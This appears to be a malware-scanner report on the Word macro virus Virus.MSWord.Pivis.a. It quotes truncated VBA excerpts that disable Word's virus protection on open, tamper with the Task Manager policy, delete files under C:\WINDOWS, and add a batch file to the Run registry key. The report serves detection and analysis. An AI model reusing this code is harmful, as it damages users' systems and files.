Benign Download

Virus.MSWord.Pivis.a

Windows archive file pathTask Manager process name

SHA-25680f70b9fc52d094e82bcd3c385daf03c446e70b01452205a23c17efc6a46edaf

Evidence

English function-word token "the" lines 1–7

1Attribute VB_Name = "Rolvin"
2Private Declare Function SHAddToRecentDocs Lib "Shell32.dll" (ByVal uFlags As Long, ByVal lpszPath As String) As Long
3Private Const SHARD_PATH = &H2
4Dim Path As String
5'Add a File to the Documents Menu in the Start Button of the Windows Taskbar
6
7Private Declare Function ShellExec …

English function-word token "with" lines 15–23

15:9… tion
16
17Sub AutoOpen()
18On Error Resume Next
19
20With Options
21        .ConfirmConversions = False
22        .VirusProtection = False
23        .SaveNo …

Task Manager process name lines 41–42

41:56… ware\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "0001"
42System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "Dis …

Windows archive file path lines 73–79

73:23… DOWS\*.xls"
74WordBasic.Kill "C:\WINDOWS\*.pdf"
75WordBasic.Kill "C:\WINDOWS\*.rar"
76WordBasic.Kill "C:\WINDOWS\*.com"
77WordBasic.Kill "C:\WINDOWS\*.ini"
78WordBasic.Kill "C:\WINDOWS\*.rtf"
79WordBasic.Kill "C:\W …

Accesses Windows CurrentVersion Run key lines 99–103

99:16… rofileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Sb") = "C:\ARQUIV~1\Rolin.bat"
100Open "C:\ARQUIV~1\Rolin.bat" For Output As #1
101Print #1, "@echo off"
102Print #1, "Echo         Warning."
103Print #1, "Echo         …